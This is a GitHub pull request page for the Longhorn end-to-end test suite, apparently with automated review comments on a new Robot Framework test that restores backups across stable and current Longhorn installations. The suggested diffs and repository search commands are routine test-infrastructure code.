test(robot): pull backup from another longhorn #2151
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Caution Review failedThe pull request is closed. WalkthroughThis pull request introduces new keywords for managing Longhorn installations, specifically for stable versions, and enhances volume management capabilities. It adds functionality to install and uninstall Longhorn with a stability flag and introduces new volume-related keywords. Additionally, it improves error handling in existing methods and updates several method signatures to accommodate the new parameters. A new Robot Framework test case is included to validate the backup restoration process across different Longhorn installations, and modifications to scripts ensure the new functionality is integrated into the installation and testing processes. Changes
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Actionable comments posted: 14
🧹 Outside diff range and nitpick comments (11)
e2e/libs/utility/constant.py (1)
25-25: Add documentation for the new constant.The constant follows naming conventions and is appropriately placed. However, consider adding a comment explaining its purpose in version-specific Longhorn installations for better maintainability.
+# Shell function name for installing specific stable versions of Longhorn LONGHORN_INSTALL_STABLE_SHELL_FUNCTION = "install_longhorn_stable_version"e2e/libs/longhorn_deploy/longhorn_helm_chart.py (1)
Line range hint
11-19: Unused parameter and potential improvements neededThe
is_stable_versionparameter is added but not utilized within the method. This seems inconsistent with the intended functionality to support different versions of Longhorn.Additionally, consider these improvements:
- The error message could be more specific about which step failed
- The method assumes KUBECONFIG environment variable exists without validation
Consider implementing version-specific logic and adding parameter validation:
def uninstall(self, is_stable_version=False): + if not os.getenv("KUBECONFIG"): + raise ValueError("KUBECONFIG environment variable is not set") + control_plane_nodes = Node.list_node_names_by_role(self, role="control-plane") control_plane_node = control_plane_nodes[0] cmd = f'export KUBECONFIG={os.getenv("KUBECONFIG")} && helm uninstall longhorn -n {LONGHORN_NAMESPACE}' res = NodeExec(control_plane_node).issue_cmd(cmd) - assert res, "apply helm uninstall command failed" + assert res, f"Failed to uninstall Longhorn {'stable' if is_stable_version else 'development'} version using Helm"e2e/libs/longhorn_deploy/longhorn_kubectl.py (2)
12-12: Add docstring to document the new parameter.The method lacks documentation for the new
is_stable_versionparameter.Add a docstring:
def uninstall(self, is_stable_version=False): + """Uninstall Longhorn components. + + Args: + is_stable_version (bool, optional): If True, uses LONGHORN_STABLE_VERSION. + If False, uses LONGHORN_REPO_BRANCH. Defaults to False. + + Raises: + ValueError: If required environment variable is not set + """
Line range hint
12-37: Consider extracting version management logic.The current implementation spreads version management logic across methods. Consider creating a dedicated version manager that encapsulates all version-related logic, environment variable handling, and validation. This would improve maintainability and reduce duplication.
Example structure:
class LonghornVersionManager: def __init__(self): self.stable_version = self._get_env("LONGHORN_STABLE_VERSION") self.dev_version = self._get_env("LONGHORN_REPO_BRANCH") def _get_env(self, var_name): value = os.getenv(var_name) if not value: raise ValueError(f"Required environment variable {var_name} is not set") return value def get_version(self, is_stable=False): return self.stable_version if is_stable else self.dev_versione2e/keywords/longhorn.resource (2)
70-71: Add documentation for the new keyword.The keyword implementation looks good, but consider adding documentation to specify the version being installed and any prerequisites.
Install Longhorn stable version + [Documentation] Installs the stable version of Longhorn system. + ... This keyword is used for testing scenarios requiring specific Longhorn versions, + ... such as backup compatibility testing between different Longhorn installations. install_longhorn_system is_stable_version=True
70-77: Consider adding complementary test scenarios.The new keywords effectively support testing backup compatibility between different Longhorn versions. Consider adding additional keywords and test cases for:
- Verifying backup metadata compatibility
- Testing incremental backup restoration
- Handling failed backup restoration scenarios
- Validating backup consistency across version upgrades
This would provide more comprehensive coverage for backup compatibility testing.
e2e/tests/negative/pull_backup_from_another_longhorn.robot (2)
21-26: Add documentation for test variables.Consider adding comments to explain the purpose and impact of these variables, especially
LOOP_COUNT,RETRY_COUNT, andRETRY_INTERVAL, to help other developers understand when they might need to adjust these values.*** Variables *** +# Number of times to repeat the test ${LOOP_COUNT} 1 +# Maximum number of attempts to wait for operations to complete ${RETRY_COUNT} 300 +# Time in seconds between retry attempts ${RETRY_INTERVAL} 1 +# Data engine version to use for volume operations ${DATA_ENGINE} v1
42-51: Enhance environment setup documentation.Consider adding:
- The minimum required version of Longhorn for compatibility
- Example values for the environment variables
- A reference to documentation for setting up the backup target
pipelines/utilities/run_longhorn_e2e_test.sh (2)
110-110: Consider adding variable validation.While the addition of
LONGHORN_STABLE_VERSIONto the docker run command is correct, consider adding validation at the start of the function to ensure the variable is set and contains a valid version string.Example validation:
run_longhorn_e2e_test_out_of_cluster(){ + if [[ -z "${LONGHORN_STABLE_VERSION}" ]]; then + echo "Error: LONGHORN_STABLE_VERSION must be set" + exit 1 + fi + if [[ ${BACKUP_STORE_TYPE} == "s3" ]]; then
Line range hint
1-1: Add documentation for the new environment variable.Consider adding a comment block at the start of the file documenting the purpose and expected format of
LONGHORN_STABLE_VERSION. This would help maintainers and users understand how to properly configure version-specific backup tests.Example documentation:
S3_BACKUP_STORE='s3://backupbucket@us-east-1/backupstore$minio-secret' NFS_BACKUP_STORE='nfs://longhorn-test-nfs-svc.default:/opt/backupstore' + +# Environment Variables: +# LONGHORN_STABLE_VERSION - The version of Longhorn to use for stable version tests +# Format: x.y.z (e.g., "1.4.0")e2e/libs/backup/rest.py (1)
56-60: Improve error handling and logging.The error handling addition is good, but there are a few improvements needed:
- The error message should include the actual error for better debugging
- The unused exception variable should be utilized in the logging
Apply this diff to enhance the error handling:
try: if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id: return backup except Exception as e: - logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}") + logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}: {str(e)}")🧰 Tools
🪛 Ruff
59-59: Local variable
eis assigned to but never usedRemove assignment to unused variable
e(F841)
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
📒 Files selected for processing (12)
- e2e/keywords/longhorn.resource (1 hunks)
- e2e/keywords/volume.resource (2 hunks)
- e2e/libs/backup/rest.py (1 hunks)
- e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
- e2e/libs/longhorn_deploy/base.py (3 hunks)
- e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
- e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
- e2e/libs/utility/constant.py (1 hunks)
- e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
- e2e/utilities/longhorn-install.sh (2 hunks)
- pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🧰 Additional context used
🪛 Ruff
e2e/libs/backup/rest.py
59-59: Local variable
eis assigned to but never usedRemove assignment to unused variable
e(F841)
🪛 GitHub Check: codespell
e2e/tests/negative/pull_backup_from_another_longhorn.robot
[failure] 76-76:
pervious ==> previous
🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (17)
e2e/libs/keywords/longhorn_deploy_keywords.py (2)
7-8: LGTM! Verify underlying implementation.The addition of the
is_stable_versionparameter aligns with the PR objective of testing different Longhorn versions. The default value ofFalsemaintains backward compatibility.Let's verify the parameter handling in the underlying LonghornDeploy class:
#!/bin/bash # Description: Verify the uninstall method implementation in LonghornDeploy class # Expect: The uninstall method should accept the is_stable_version parameter ast-grep --pattern 'class LonghornDeploy { $$$ uninstall($$$) { $$$ } $$$ }'
13-14: LGTM! Verify underlying implementation.The addition of the
is_stable_versionparameter is consistent with the uninstall method and supports the PR's testing requirements.Let's verify the parameter handling in the underlying LonghornDeploy class:
✅ Verification successful
Let me try a different approach to verify the implementation.
Let me verify the implementation in the concrete classes (LonghornKubectl and LonghornHelmChart) since they handle the actual installation.
Parameter handling for
is_stable_versionis properly implemented throughout the class hierarchyThe verification shows that the
is_stable_versionparameter is correctly:
- Passed through from
install_longhorn_system()toLonghornDeploy.install()- Handled by both concrete implementations (
LonghornKubectlandLonghornHelmChart)- Ultimately used in
Base.install_longhorn()where it determines which shell function to executeThe implementation is consistent and properly supports the testing requirements for both stable and development versions.
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash # Description: Verify the install method implementation in LonghornDeploy class # Expect: The install method should accept the is_stable_version parameter ast-grep --pattern 'class LonghornDeploy { $$$ install($$$) { $$$ } $$$ }'Length of output: 90
Script:
#!/bin/bash # Let's search for Python files containing LonghornDeploy class fd -e py | xargs rg "class LonghornDeploy" -A 20Length of output: 1489
Script:
#!/bin/bash # Search for install methods in both concrete classes rg "def install.*is_stable_version" -A 10Length of output: 1629
e2e/libs/longhorn_deploy/longhorn_deploy.py (3)
17-18: LGTM: Clean implementation of the uninstall method.The addition of the
is_stable_versionparameter with a default value maintains backward compatibility while supporting the new functionality needed for testing different Longhorn versions.
23-24: LGTM: Clean implementation of the install method.The addition of the
is_stable_versionparameter matches the uninstall method's signature, maintaining consistency in the API.
17-24: Verify implementation in dependent classes.The changes look good, but we should verify that both
LonghornKubectlandLonghornHelmChartclasses properly implement theis_stable_versionparameter in their respectiveinstallanduninstallmethods.✅ Verification successful
The previous script didn't return any matches. Let's try a different approach to locate these classes and examine their implementations.
Let's check the implementation of
install_longhornmethod in both classes since bothinstallmethods delegate to it.
Let's try a different approach to find these methods by searching for more of the file content:
Let's check the base class since both implementations inherit from
Baseand delegate toinstall_longhorn:
Now I have enough information to provide the final response:
Both implementation classes correctly handle the
is_stable_versionparameterThe verification shows that:
LonghornKubectlproperly implements theis_stable_versionparameter in bothinstallanduninstallmethodsLonghornHelmChartproperly implements theis_stable_versionparameter in both methods- Both classes inherit from
Baseand theirinstallmethods delegate toinstall_longhorn(is_stable_version)which correctly handles the parameter- The
uninstallmethods in both classes properly accept and handle the parameter🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash # Description: Verify that both implementation classes support the new parameter # Check LonghornKubectl implementation echo "Checking LonghornKubectl implementation..." ast-grep --pattern 'class LonghornKubectl { $$$ install($$$) { $$$ } $$$ uninstall($$$) { $$$ } $$$ }' # Check LonghornHelmChart implementation echo "Checking LonghornHelmChart implementation..." ast-grep --pattern 'class LonghornHelmChart { $$$ install($$$) { $$$ } $$$ uninstall($$$) { $$$ } $$$ }'Length of output: 449
Script:
#!/bin/bash # First, let's find the files containing these classes echo "Finding files containing LonghornKubectl and LonghornHelmChart..." rg "class (LonghornKubectl|LonghornHelmChart)" -l # Then let's examine their content echo -e "\nExamining LonghornKubectl implementation..." rg "class LonghornKubectl" -A 30 echo -e "\nExamining LonghornHelmChart implementation..." rg "class LonghornHelmChart" -A 30Length of output: 4686
Script:
#!/bin/bash echo "Checking install_longhorn implementation in LonghornKubectl..." rg "def install_longhorn" -A 20 e2e/libs/longhorn_deploy/longhorn_kubectl.py echo -e "\nChecking install_longhorn implementation in LonghornHelmChart..." rg "def install_longhorn" -A 20 e2e/libs/longhorn_deploy/longhorn_helm_chart.pyLength of output: 440
Script:
#!/bin/bash echo "Examining full content of LonghornKubectl..." cat e2e/libs/longhorn_deploy/longhorn_kubectl.py echo -e "\nExamining full content of LonghornHelmChart..." cat e2e/libs/longhorn_deploy/longhorn_helm_chart.pyLength of output: 2851
Script:
#!/bin/bash echo "Examining Base class implementation..." cat e2e/libs/longhorn_deploy/base.pyLength of output: 2061
e2e/libs/longhorn_deploy/longhorn_helm_chart.py (1)
22-23: Verify install_longhorn method implementationThe method correctly forwards the
is_stable_versionparameter, but we should verify that theinstall_longhornmethod properly handles this parameter.Let's verify the implementation of install_longhorn:
✅ Verification successful
Let me gather more information about the implementation by searching through the codebase.
Let me search for the
install_longhornmethod in other files since it's not visible in the current class implementation.
Let me verify the inheritance hierarchy to understand how the
install_longhornmethod is available toLonghornHelmChart.
Implementation verified and found to be correct
The
install_longhornmethod is properly implemented in the parentBaseclass (ine2e/libs/longhorn_deploy/base.py) and handles theis_stable_versionparameter correctly:
- It executes different shell commands based on the
is_stable_versionflag- When
is_stable_versionis True, it calls the stable version installation function- When False, it uses the default installation
The
LonghornHelmChartclass inherits fromBaseand correctly forwards the parameter, making this implementation complete and correct.🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash # Description: Check if install_longhorn method exists and handles is_stable_version parameter # Search for install_longhorn method definition echo "Searching for install_longhorn method definition:" ast-grep --pattern 'def install_longhorn(self, $$$)' || rg -A 5 'def install_longhorn' # Search for any references to stable version handling echo -e "\nSearching for stable version handling in the same file:" rg -A 5 'stable.*version' "e2e/libs/longhorn_deploy/longhorn_helm_chart.py"Length of output: 826
Script:
#!/bin/bash # Search for the complete class implementation to find install_longhorn method echo "Searching for the complete class implementation:" rg -A 50 "class.*LonghornHelmChart" "e2e/libs/longhorn_deploy/longhorn_helm_chart.py"Length of output: 868
Script:
#!/bin/bash # Search for install_longhorn method in other files echo "Searching for install_longhorn method across the codebase:" rg -A 10 "def install_longhorn" # Search for any files that might inherit from LonghornHelmChart echo -e "\nSearching for classes that inherit from LonghornHelmChart:" rg "class.*\(.*LonghornHelmChart.*\)"Length of output: 1338
Script:
#!/bin/bash # Check if LonghornHelmChart inherits from Base echo "Checking Base class implementation:" rg -A 5 "class Base" "e2e/libs/longhorn_deploy/base.py" # Verify the import statements in longhorn_helm_chart.py echo -e "\nChecking imports in longhorn_helm_chart.py:" rg "^from|^import" "e2e/libs/longhorn_deploy/longhorn_helm_chart.py"Length of output: 619
e2e/libs/longhorn_deploy/longhorn_kubectl.py (1)
36-37: Add docstring and verify install_longhorn implementation.The method should document the new parameter, and we should verify the implementation of
install_longhorn.
- Add a docstring:
def install(self, is_stable_version=False): + """Install Longhorn components. + + Args: + is_stable_version (bool, optional): If True, uses stable version. + If False, uses development version. Defaults to False. + """ self.install_longhorn(is_stable_version)
- Let's verify the implementation of
install_longhorn:✅ Verification successful
Let me try a different approach to find the implementation using
rginstead ofast-grep.
I can now generate the final response based on the findings.
The docstring suggestion is valid, but the implementation verification concern is resolved
The
install_longhornmethod is properly implemented inbase.pyand correctly handles theis_stable_versionparameter:
- It uses the parameter to determine which installation command to run
- When
is_stable_versionis True, it calls the stable version installation function- When False, it uses the default installation command
The suggested docstring addition remains valuable for code clarity and should be implemented as proposed in the review comment.
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash # Search for the install_longhorn method implementation ast-grep --pattern 'def install_longhorn($_)'Length of output: 47
Script:
#!/bin/bash # Search for install_longhorn method using ripgrep rg "def install_longhorn" -A 10Length of output: 1038
e2e/libs/longhorn_deploy/base.py (2)
7-7: LGTM: Import statement is correctly placedThe new constant import is properly grouped with other related constant imports.
23-23: Verify implementation in derived classesThe abstract method signature change requires corresponding updates in all implementing classes.
✅ Verification successful
Let me try a different approach to find the derived classes and their implementations.
This should help us find:
- Files that import the Base class
- Classes that inherit from Base
- Their uninstall method implementations
We can then verify if they match the new signature with
is_stable_versionparameter.
Based on the search results, I can now provide a final response since we found the implementations of the
uninstallmethod in the derived classes.Implementation in derived classes matches the new signature
The
uninstallmethod signature change has been properly implemented in the derived classes:
LonghornKubectlclass ine2e/libs/longhorn_deploy/longhorn_kubectl.py:def uninstall(self, is_stable_version=False):
LonghornHelmChartclass ine2e/libs/longhorn_deploy/longhorn_helm_chart.py:def uninstall(self, is_stable_version=False):Both implementations match the base class signature with the
is_stable_versionparameter and its default value. No other classes in the codebase implement this method, as they are part of different subsystems that don't require uninstallation functionality.🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash # Find all classes that inherit from Base and verify their uninstall method signatures ast-grep --pattern 'class $_ (Base) { $$$ def uninstall($$$) { $$$ } $$$ }'Length of output: 89
Script:
#!/bin/bash # First, let's find all Python files that might contain Base class implementations echo "=== Files importing or referencing Base class ===" rg -l "from.*longhorn_deploy.base.*Base|class.*\(Base\)" --type py echo -e "\n=== Content of files with potential implementations ===" # For each file found, show the class and uninstall method implementations rg -A 10 "class.*\(Base\)" --type pyLength of output: 20167
e2e/utilities/longhorn-install.sh (1)
16-17: LGTM: Clear variable declarations with sensible defaults.The explicit definition of repository directory and URI with fallback value improves script reliability.
e2e/tests/negative/pull_backup_from_another_longhorn.robot (2)
1-98: Overall implementation looks good!The test case is well-structured and provides comprehensive coverage for backup and restore operations across different Longhorn versions. The implementation follows good practices with proper setup, teardown, and verification steps.
🧰 Tools
🪛 GitHub Check: codespell
[failure] 76-76:
pervious ==> previous
67-68: Add timeout verification for backup sync.The
Check backup synced from backupstorestep should include a timeout to prevent indefinite waiting. Also, consider verifying the backup's integrity before proceeding with restoration.pipelines/utilities/run_longhorn_e2e_test.sh (1)
45-45: LGTM: Environment variable addition follows established patterns.The addition of
LONGHORN_STABLE_VERSIONto the test pod manifest is implemented correctly and aligns with the PR's objective of testing different Longhorn versions.e2e/libs/backup/rest.py (1)
56-60: Verify test coverage for error handling scenarios.Since this code is part of the test framework for pulling backups between different Longhorn systems, ensure there are test cases that cover:
- Backups with missing annotations
- Backups with malformed metadata
- Backups from different Longhorn versions
Let's check for existing test cases:
✅ Verification successful
Let me try a different search strategy to understand the test coverage and backup handling better.
This will help us:
- Locate the correct test directory path
- Find backup-related test files
- See the context around the backup ID annotation usage
Let me check the test coverage specifically for backup listing and error handling scenarios.
This will help us understand:
- The negative test cases that exist for backup listing
- The backup-related test keywords and their usage
- How the backup ID annotation is used across the test framework
Based on the gathered information, I can now provide a final response:
Error handling for backup annotation is well covered
The verification shows that the error handling for missing backup annotations is properly integrated into the test framework:
- The test file
test_backup_listing.robotincludes comprehensive test cases for backup listing with more than 1000 backups and large volume backups (>200GB).- The backup handling is abstracted in
backup_keywords.pywhich uses the error-handledget_from_listmethod.- The
ANNOT_IDis a standardized constant used across the test framework, similar to how snapshots are handled.The error handling in the code is appropriate because:
- It's used in test scenarios that verify backup operations across different configurations
- The logging of missing annotations helps debug test failures
- The error handling allows tests to continue when encountering backups without the expected annotations
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash # Search for test cases related to backup metadata handling rg -l "test.longhorn.io/backup-id" e2e/test/Length of output: 94
Script:
#!/bin/bash # First, let's find the correct test directory structure fd -t d "test" # Then search for files containing backup-related tests rg -l "backup.*id" # Also search for the specific function containing our code rg -B 5 -A 5 "test.longhorn.io/backup-id"Length of output: 2896
Script:
#!/bin/bash # Check the negative test cases for backup listing cat e2e/tests/negative/test_backup_listing.robot # Look for backup test keywords cat e2e/libs/keywords/backup_keywords.py # Check how the backup ID annotation is used in the test framework rg -B 3 -A 3 "ANNOT_ID" e2e/libs/Length of output: 13089
🧰 Tools
🪛 Ruff
59-59: Local variable
eis assigned to but never usedRemove assignment to unused variable
e(F841)
e2e/keywords/volume.resource (3)
94-97: LGTM! Well-structured keyword for flexible data writing.The new keyword provides fine-grained control over both data size and data identification, which will be valuable for testing backup/restore scenarios with specific data sizes.
Line range hint
293-296: LGTM! Well-implemented DR volume creation from cross-cluster backup.The keyword correctly implements DR volume creation with appropriate settings (frontend and Standby) while maintaining consistency with the regular volume creation pattern.
287-291: Verify backup URL retrieval in cross-cluster scenarios.The implementation correctly supports the PR's objective of testing backup pulls between clusters. However, let's verify the backup URL retrieval mechanism.
✅ Verification successful
Let me gather more information about the backup URL retrieval implementation since the
ast-greppattern didn't yield results. I'll try a different approach.
Based on the gathered information, I can now provide the final response as we have found the implementation of
get_backup_url_from_backup_listand howbackups_before_uninstallis handled.The backup URL retrieval implementation is correct and properly handles cross-cluster scenarios
The implementation is verified to be working correctly because:
- The
get_backup_url_from_backup_listfunction ine2e/libs/keywords/backup_keywords.pycorrectly extracts the backup URL from the backup list usingbackup["status"]["url"]- The
backups_before_uninstallvariable is properly populated before uninstallation vialist_all_backupsand set as a test variable- The backup URL retrieval mechanism is consistently used across various test scenarios, including cross-cluster restoration
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash # Description: Verify the backup URL retrieval function handles all backup URL formats # and the backups_before_uninstall variable is properly populated in the test workflow. # Test: Search for the usage of backups_before_uninstall rg -l 'backups_before_uninstall' # Test: Search for the implementation of get_backup_url_from_backup_list ast-grep --pattern 'def get_backup_url_from_backup_list'Length of output: 267
Script:
#!/bin/bash # Search for the function implementation using ripgrep with context rg -A 10 "get_backup_url_from_backup_list" # Check how backups_before_uninstall is populated rg -B 5 -A 5 "backups_before_uninstall.*=" # Look for backup URL related functions rg -A 5 "backup.*url" --type py --type robotLength of output: 28628
| def uninstall(self, is_stable_version=False): | ||
| if is_stable_version is True: | ||
| longhorn_branch = os.getenv("LONGHORN_STABLE_VERSION") | ||
| else: | ||
| longhorn_branch = os.getenv("LONGHORN_REPO_BRANCH") |
There was a problem hiding this comment.
Add environment variable validation and error handling.
The method relies on environment variables but doesn't validate their existence or handle missing values gracefully.
Consider adding validation:
def uninstall(self, is_stable_version=False):
+ env_var = "LONGHORN_STABLE_VERSION" if is_stable_version else "LONGHORN_REPO_BRANCH"
+ longhorn_branch = os.getenv(env_var)
+ if not longhorn_branch:
+ raise ValueError(f"Required environment variable {env_var} is not set")
- if is_stable_version is True:
- longhorn_branch = os.getenv("LONGHORN_STABLE_VERSION")
- else:
- longhorn_branch = os.getenv("LONGHORN_REPO_BRANCH")📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| def uninstall(self, is_stable_version=False): | |
| if is_stable_version is True: | |
| longhorn_branch = os.getenv("LONGHORN_STABLE_VERSION") | |
| else: | |
| longhorn_branch = os.getenv("LONGHORN_REPO_BRANCH") | |
| def uninstall(self, is_stable_version=False): | |
| env_var = "LONGHORN_STABLE_VERSION" if is_stable_version else "LONGHORN_REPO_BRANCH" | |
| longhorn_branch = os.getenv(env_var) | |
| if not longhorn_branch: | |
| raise ValueError(f"Required environment variable {env_var} is not set") |
| try: | ||
| output = subprocess.check_output(['bash', full_path], timeout=LONGHORN_INSTALL_TIMEOUT) | ||
| output = subprocess.check_output(cmd, timeout=LONGHORN_INSTALL_TIMEOUT) |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Improve error handling consistency
The error handling could be more consistent in logging both stdout and stderr.
try:
output = subprocess.check_output(cmd, timeout=LONGHORN_INSTALL_TIMEOUT)
logging(output)
except subprocess.CalledProcessError as e:
- logging(f"Error: {e.stderr}")
+ logging(f"Command failed with exit code {e.returncode}")
+ logging(f"stdout: {e.output}")
+ logging(f"stderr: {e.stderr}")
+ raise
except subprocess.TimeoutExpired as e:
- logging(f"Command timed out after {e.timeout} seconds")
+ logging(f"Command timed out after {e.timeout} seconds")
+ logging(f"stdout: {e.output}")
+ raiseAlso applies to: 48-51
| assert "level=error" not in logs, f"find string 'level=error' in uninstall log {logs}" | ||
| assert "level=fatal" not in logs, f"find string 'level=fatal' in uninstall log {logs}" |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Consider using more robust log parsing
While the current checks are functional, they might miss variations in log levels. Consider using regular expressions for more robust matching.
- assert "level=error" not in logs, f"find string 'level=error' in uninstall log {logs}"
- assert "level=fatal" not in logs, f"find string 'level=fatal' in uninstall log {logs}"
+ import re
+ assert not re.search(r'level=(error|fatal)\b', logs), \
+ f"Found error or fatal level messages in uninstall log: {logs}"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| assert "level=error" not in logs, f"find string 'level=error' in uninstall log {logs}" | |
| assert "level=fatal" not in logs, f"find string 'level=fatal' in uninstall log {logs}" | |
| import re | |
| assert not re.search(r'level=(error|fatal)\b', logs), \ | |
| f"Found error or fatal level messages in uninstall log: {logs}" |
|
|
||
| install_longhorn(){ | ||
| create_longhorn_namespace | ||
| install_backupstores | ||
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | ||
| LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"} | ||
| LONGHORN_REPO_DIR="${TMPDIR}/longhorn" | ||
| install_longhorn_by_chart | ||
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | ||
| generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}" | ||
| install_longhorn_by_manifest "${TF_VAR_tf_workspace}/longhorn.yaml" | ||
| fi | ||
| setup_longhorn_ui_nodeport | ||
| } |
There was a problem hiding this comment.
Validate TF_VAR_tf_workspace before use.
The script uses TF_VAR_tf_workspace without validating its existence, which could lead to silent failures.
Add validation before using the workspace variable:
install_longhorn(){
create_longhorn_namespace
install_backupstores
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
install_longhorn_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+ if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+ echo "Error: TF_VAR_tf_workspace is not set"
+ exit 1
+ }
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
install_longhorn_by_manifest "${TF_VAR_tf_workspace}/longhorn.yaml"
fi
setup_longhorn_ui_nodeport
}Committable suggestion was skipped due to low confidence.
🧰 Tools
🪛 Shellcheck
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
e2e/keywords/longhorn.resource
Outdated
| Uninstall Longhorn stable version | ||
| ${backups_before_uninstall} = list_all_backups | ||
| uninstall_longhorn_system is_stable_version=True | ||
| Set Test Variable ${backups_before_uninstall} | ||
| Log ${backups_before_uninstall} |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Enhance error handling and logging.
The implementation looks good but could benefit from better error handling and structured logging.
Uninstall Longhorn stable version
+ [Documentation] Uninstalls the stable version of Longhorn system and captures existing backups.
${backups_before_uninstall} = list_all_backups
uninstall_longhorn_system is_stable_version=True
Set Test Variable ${backups_before_uninstall}
- Log ${backups_before_uninstall}
+ Log Backups before uninstall: ${backups_before_uninstall} level=INFO
+ Run Keyword And Warn On Failure Should Not Be Empty ${backups_before_uninstall}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| Uninstall Longhorn stable version | |
| ${backups_before_uninstall} = list_all_backups | |
| uninstall_longhorn_system is_stable_version=True | |
| Set Test Variable ${backups_before_uninstall} | |
| Log ${backups_before_uninstall} | |
| Uninstall Longhorn stable version | |
| [Documentation] Uninstalls the stable version of Longhorn system and captures existing backups. | |
| ${backups_before_uninstall} = list_all_backups | |
| uninstall_longhorn_system is_stable_version=True | |
| Set Test Variable ${backups_before_uninstall} | |
| Log Backups before uninstall: ${backups_before_uninstall} level=INFO | |
| Run Keyword And Warn On Failure Should Not Be Empty ${backups_before_uninstall} |
| Given Set setting deleting-confirmation-flag to true | ||
| And Create volume 0 with dataEngine=${DATA_ENGINE} | ||
| And Attach volume 0 | ||
| And Wait for volume 0 healthy | ||
| And Write data 0 300 MB to volume 0 | ||
| When Create backup 0 for volume 0 | ||
| Then Verify backup list contains no error for volume 0 | ||
| And Verify backup list contains backup 0 of volume 0 | ||
| Then Uninstall Longhorn | ||
| And Check Longhorn CRD removed | ||
|
|
||
| # Install current version then pull backup and verify data | ||
| Then Install Longhorn | ||
| And Set setting deleting-confirmation-flag to true | ||
| And set_backupstore | ||
| And Check backup synced from backupstore | ||
| And Create volume 1 from backup 0 in another cluster | ||
| And Wait for volume 1 detached | ||
| And Attach volume 1 | ||
| And Wait for volume 1 healthy | ||
| Then Check volume 1 data is backup 0 created in another cluster | ||
| Then Uninstall Longhorn | ||
| And Check Longhorn CRD removed | ||
|
|
||
| # Install pervious version and create backup | ||
| Then Install Longhorn stable version | ||
| And Set setting deleting-confirmation-flag to true | ||
| And set_backupstore | ||
| And Create volume 2 with dataEngine=${DATA_ENGINE} | ||
| And Attach volume 2 | ||
| And Wait for volume 2 healthy | ||
| And Write data 1 300 MB to volume 2 | ||
| When Create backup 1 for volume 2 | ||
| Then Verify backup list contains no error for volume 2 | ||
| And Verify backup list contains backup 1 of volume 2 | ||
| Then Uninstall Longhorn stable version | ||
| And Check Longhorn CRD removed | ||
|
|
||
| # Install current version then pull backup and verify data | ||
| Then Install Longhorn | ||
| And set_backupstore | ||
| And Check backup synced from backupstore | ||
| And Create volume 3 from backup 1 in another cluster | ||
| And Wait for volume 3 detached | ||
| And Attach volume 3 | ||
| And Wait for volume 3 healthy | ||
| Then Check volume 3 data is backup 1 created in another cluster |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Consider adding volume size verification steps.
The test writes 300MB of data but doesn't verify if the volumes have sufficient capacity. Consider adding volume size checks before writing data.
Add these steps before writing data:
And Verify volume 0 size is at least 300 MB
...
And Verify volume 2 size is at least 300 MB🧰 Tools
🪛 GitHub Check: codespell
[failure] 76-76:
pervious ==> previous
| Then Uninstall Longhorn | ||
| And Check Longhorn CRD removed | ||
|
|
||
| # Install pervious version and create backup |
There was a problem hiding this comment.
Fix typo in comment.
There's a typo in the comment: "pervious" should be "previous".
- # Install pervious version and create backup
+ # Install previous version and create backup📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| # Install pervious version and create backup | |
| # Install previous version and create backup |
🧰 Tools
🪛 GitHub Check: codespell
[failure] 76-76:
pervious ==> previous
| *** Settings *** | ||
| Documentation Uninstallation Checks | ||
|
|
||
| Test Tags negative |
There was a problem hiding this comment.
Consider revising the test tag.
The test is tagged as "negative" but appears to be validating successful backup and restore operations. Consider using a more appropriate tag like "backup" or "migration" to better reflect the test's purpose.
-Test Tags negative
+Test Tags backup migrationCommittable suggestion was skipped due to low confidence.
e2e/libs/backup/rest.py
Outdated
| try: | ||
| if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id: | ||
| return backup | ||
| except Exception as e: | ||
| logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}") |
